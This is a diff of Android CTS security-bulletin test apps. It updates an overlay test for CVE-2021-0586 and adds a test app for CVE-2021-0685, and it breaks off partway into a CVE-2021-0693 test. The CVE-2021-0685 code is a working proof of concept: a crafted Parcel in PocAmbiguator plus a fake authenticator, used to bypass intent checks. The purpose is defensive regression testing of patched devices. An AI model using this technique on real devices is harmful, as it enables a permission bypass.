--- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
@@ -57,11 +57,11 @@ public class DeviceTest {
mContext = getApplicationContext();
- // If the permission is not granted, the app will show up in the Usage Access Settings.
+ // If the permission is not granted, the app will not be able to show an overlay dialog.
// This is required for the test below.
// NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail.
- assertEquals("Permission PACKAGE_USAGE_STATS not granted!",
- mContext.checkSelfPermission("android.permission.PACKAGE_USAGE_STATS"),
+ assertEquals("Permission SYSTEM_ALERT_WINDOW not granted!",
+ mContext.checkSelfPermission("android.permission.SYSTEM_ALERT_WINDOW"),
PackageManager.PERMISSION_GRANTED);
// Initialize UiDevice instance
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
index 8e315c094ca..73c8e10e005 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -19,14 +19,14 @@ package android.security.cts.cve_2021_0586;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
-import android.os.SystemClock;
+import android.net.Uri;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.By;
import androidx.test.uiautomator.BySelector;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.Until;
+import java.io.IOException;
import java.util.regex.Pattern;
-import org.junit.After;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@@ -34,18 +34,33 @@ import org.junit.Test;
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
+ private static final String TEST_PKG_BT = "com.android.settings";
private static final int LAUNCH_TIMEOUT_MS = 20000;
private UiDevice mDevice;
+ String activityDump = "";
+
+ public void startDevicePickerActivity() {
+ Context context = getApplicationContext();
+ Intent sharingIntent = new Intent(Intent.ACTION_SEND);
+ assertNotNull(sharingIntent);
+ sharingIntent.setType("image/*");
+ sharingIntent.setPackage("com.android.bluetooth");
+ Uri uri = Uri.parse("android.resource://android.security.cts.CVE_2021_0586"
+ + "/drawable/cve_2021_0586.png");
+ assertNotNull(uri);
+ sharingIntent.putExtra(Intent.EXTRA_STREAM, uri);
+ Intent intent = Intent.createChooser(sharingIntent, "Share image");
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
@Before
public void startMainActivityFromHomeScreen() {
mDevice = UiDevice.getInstance(getInstrumentation());
- mDevice.pressHome();
Context context = getApplicationContext();
assertNotNull(context);
PackageManager packageManager = context.getPackageManager();
@@ -53,23 +68,38 @@ public class DeviceTest {
final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
assertNotNull(intent);
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ /* Start the launcher activity */
context.startActivity(intent);
- mDevice.wait(Until.hasObject(By.pkg(TEST_PKG).depth(0)), LAUNCH_TIMEOUT_MS);
- }
-
- @After
- public void lastOperation() {
- SystemClock.sleep(LAUNCH_TIMEOUT_MS);
- }
-
- @Test
- public void testClick() {
Pattern pattern = Pattern.compile(
getApplicationContext().getResources().getString(R.string.overlay_button),
Pattern.CASE_INSENSITIVE);
- BySelector selector = By.text(pattern);
+ /* Wait for the overlay window */
+ if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+ /* Start the DevicePickerActivity */
+ startDevicePickerActivity();
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ BySelector selector = By.pkg(TEST_PKG_BT);
+ /* Wait for an object of DevicePickerActivity */
+ if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+ /* Check if the currently running activity is DevicePickerActivity */
+ try {
+ activityDump = mDevice.executeShellCommand("dumpsys activity");
+ } catch (IOException e) {
+ throw new RuntimeException("Could not execute dumpsys activity command");
+ }
+ Pattern activityPattern = Pattern.compile("mResumedActivity.*DevicePickerActivity.*\n");
+ if (!activityPattern.matcher(activityDump).find()) {
+ return;
+ }
String message = "Device is vulnerable to b/182584940 hence any app with "
+ "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
- assertNull(message, mDevice.findObject(selector));
+ assertNotNull(message, mDevice.findObject(selector));
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
index e242a4eba2d..11fd02c2351 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
@@ -17,20 +17,11 @@
package android.security.cts.cve_2021_0586;
import android.app.Activity;
-import android.content.Context;
import android.content.Intent;
-import android.net.Uri;
import android.os.Bundle;
-import android.os.Environment;
-import android.os.Handler;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
import android.provider.Settings;
-import android.view.View;
public class PocActivity extends Activity {
- private WakeLock mScreenLock;
- private Context mContext;
private void startOverlayService() {
if (Settings.canDrawOverlays(this)) {
@@ -53,32 +44,8 @@ public class PocActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
- mContext = this.getApplicationContext();
- PowerManager pm = mContext.getSystemService(PowerManager.class);
- mScreenLock = pm.newWakeLock(
- PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
- "PocActivity");
- mScreenLock.acquire();
- try {
- Thread.sleep(6000);
- } catch (Exception e) {
- e.printStackTrace();
- }
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
startOverlayService();
- Intent sharingIntent = new Intent(Intent.ACTION_SEND);
- sharingIntent.setType("image/*");
- sharingIntent.setPackage("com.android.bluetooth");
- Uri uri = Uri.parse("android.resource://android.security.cts.CVE_2021_0586"
- + "/drawable/cve_2021_0586.png");
- sharingIntent.putExtra(Intent.EXTRA_STREAM, uri);
- startActivity(Intent.createChooser(sharingIntent, "Share image"));
- }
-
- @Override
- protected void onDestroy() {
- super.onDestroy();
- mScreenLock.release();
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp
new file mode 100644
index 00000000000..94c82758052
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+ name: "CVE-2021-0685",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml
new file mode 100644
index 00000000000..f50846838ff
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.cve_2021_0685"
+ android:targetSandboxVersion="2"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE-2021-0685"
+ android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
+ <activity android:name=".PocActivity"
+ android:taskAffinity="android.security.cts.cve_2021_0685.PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <service android:exported="true" android:name=".PocAuthService">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.cve_2021_0685" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml
new file mode 100644
index 00000000000..0c5065c9fd0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:orientation="vertical"
+ android:id="@+id/parent"
+ android:background="#FFFFFF"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
new file mode 100644
index 00000000000..d9e0ab291bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<account-authenticator
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="android.security.cts.cve_2021_0685.account"
+ android:label="CVE-2021-0685" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java
new file mode 100644
index 00000000000..f5f29ed5094
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0685;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private UiDevice mDevice;
+
+ @Before
+ public void startMainActivityFromHomeScreen() {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ try {
+ mDevice.wakeUp();
+ mDevice.pressMenu();
+ mDevice.pressHome();
+ } catch (Exception e) {
+ throw new RuntimeException("Could not wake up the phone", e);
+ }
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ PackageManager packageManager = context.getPackageManager();
+ assertNotNull(packageManager);
+ final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+ assertNotNull(intent);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ context.startActivity(intent);
+ mDevice.wait(Until.hasObject(By.pkg(TEST_PKG).depth(0)), LAUNCH_TIMEOUT_MS);
+ }
+
+ @Test
+ public void testPackageElementPresence() {
+ BySelector selector = By.pkg(TEST_PKG);
+ String message = "Device is vulnerable to b/191055353, indicating a permission"
+ + " bypass due to a possible parcel serialization/deserialization"
+ + " mismatch in ParsedIntentInfo.java";
+ assertNotNull(message, mDevice.findObject(selector));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java
new file mode 100644
index 00000000000..df2ee5ab88b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0685;
+
+import android.accounts.AccountManager;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ Bundle verifyBundle = new Bundle();
+ verifyBundle.putParcelable(AccountManager.KEY_INTENT, new Intent(this, PocActivity.class));
+ Bundle testBundle = new Bundle();
+ Intent intent =
+ new Intent().setClassName("android", "com.android.internal.app.PlatLogoActivity");
+ testBundle.putParcelable(AccountManager.KEY_INTENT, intent);
+
+ PocAmbiguator ambiguator = new PocAmbiguator();
+ try {
+ PocAuthService.mAddAccountResponse = ambiguator.make(verifyBundle, testBundle);
+ } catch (Exception exception) {
+ exception.printStackTrace();
+ }
+ startActivity(new Intent()
+ .setClassName("android", "android.accounts.ChooseTypeAndAccountActivity")
+ .putExtra("allowableAccountTypes",
+ new String[] {"android.security.cts.cve_2021_0685.account"}));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java
new file mode 100644
index 00000000000..75b04ca49f4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0685;
+
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.text.TextUtils;
+
+import java.util.Random;
+
+public class PocAmbiguator {
+ private static final int BUNDLE_MAGIC = 0x4C444E42;
+ private static final int BUNDLE_SKIP = 12;
+ private static final int VAL_NULL = -1;
+ private static final int VAL_BUNDLE = 3;
+ private static final int VAL_PARCELABLE = 4;
+ private static final int VAL_OBJECTARRAY = 17;
+ private static final int VAL_INTARRAY = 18;
+ private static final int SIZE_RANDOM_STR = 6;
+ private static final int TIMER_MILLIS = 30 * 1000;
+
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ String key;
+ int keyHash;
+ long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash && System.currentTimeMillis() < allowedTime);
+
+ if (keyHash >= minHash) {
+ return null;
+ }
+
+ if (!padBundle(postReSerialize, preReSerialize.size(), minHash, random)) {
+ return null;
+ }
+ if (!padBundle(preReSerialize, postReSerialize.size(), minHash, random)) {
+ return null;
+ }
+
+ Parcel parcel = Parcel.obtain();
+
+ int sizePosition = parcel.dataPosition();
+ parcel.writeInt(0);
+ parcel.writeInt(BUNDLE_MAGIC);
+ int startPosition = parcel.dataPosition();
+
+ parcel.writeInt(preReSerialize.size() + 1);
+
+ parcel.writeString(key);
+ parcel.writeInt(VAL_OBJECTARRAY);
+ parcel.writeInt(3);
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("android.content.pm.parsing.component.ParsedIntentInfo");
+ new IntentFilter().writeToParcel(parcel, 0);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ TextUtils.writeToParcel(null, parcel, 0);
+ parcel.writeInt(0);
+
+ parcel.writeInt(VAL_INTARRAY);
+ parcel.writeInt(6);
+ parcel.writeInt(1);
+ parcel.writeInt(-1);
+ parcel.writeInt(0);
+ parcel.writeInt(VAL_NULL);
+ parcel.writeInt(VAL_INTARRAY);
+ parcel.writeInt(4);
+
+ parcel.writeInt(VAL_BUNDLE);
+ parcel.writeBundle(postReSerialize);
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ int bundleDataSize = parcel.dataPosition() - startPosition;
+ parcel.setDataPosition(sizePosition);
+ parcel.writeInt(bundleDataSize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = parcel.readBundle();
+ parcel.recycle();
+ return bundle;
+ }
+
+ private static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
+ Parcel skipParcel = Parcel.obtain();
+ bundle.writeToParcel(skipParcel, 0);
+ parcel.appendFrom(skipParcel, BUNDLE_SKIP, skipParcel.dataPosition() - BUNDLE_SKIP);
+ skipParcel.recycle();
+ }
+
+ private static String randomString(Random random) {
+ StringBuilder b = new StringBuilder();
+ for (int i = 0; i < SIZE_RANDOM_STR; ++i) {
+ b.append((char) (' ' + random.nextInt('~' - ' ' + 1)));
+ }
+ return b.toString();
+ }
+
+ private static boolean padBundle(Bundle bundle, int size, int minHash, Random random) {
+ while (bundle.size() < size) {
+ String key;
+ long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
+ do {
+ key = randomString(random);
+ } while ((key.hashCode() < minHash || bundle.containsKey(key))
+ && System.currentTimeMillis() < allowedTime);
+ bundle.putString(key, "PADDING");
+ if (key.hashCode() < minHash) {
+ return false;
+ }
+ }
+ return true;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java
new file mode 100644
index 00000000000..44d7656dbfc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0685;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+public class PocAuthService extends Service {
+
+ public static Bundle mAddAccountResponse;
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new Authenticator(this).getIBinder();
+ }
+
+ private static class Authenticator extends AbstractAccountAuthenticator {
+ @Override
+ public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+ String authTokenType, String[] requiredFeatures, Bundle options)
+ throws NetworkErrorException {
+ return mAddAccountResponse;
+ }
+
+ Authenticator(Context context) {
+ super(context);
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+ return null;
+ }
+
+ @Override
+ public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
+ Bundle options) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+ String authTokenType, Bundle options) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return null;
+ }
+
+ @Override
+ public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
+ String authTokenType, Bundle options) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
+ String[] features) throws NetworkErrorException {
+ return null;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp
new file mode 100644
index 00000000000..6832e6de2c5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+ name: "CVE-2021-0693",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/AndroidManifest.xml
new file mode 100644
index 00000000000..55bece53140
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0693"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:allowBackup="true"
+ android:debuggable="true"
+ android:label="CVE-2021-0693"
+ android:supportsRtl="true">
+ <activity android:exported="true" android:name=".PocActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0693" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/res/layout/activity_main.xml
new file mode 100644
index 00000000000..566c342f644
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:text="CVE-2021-0693"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/DeviceTest.java
new file mode 100644
index 00000000000..911226afe43
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/DeviceTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0693;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
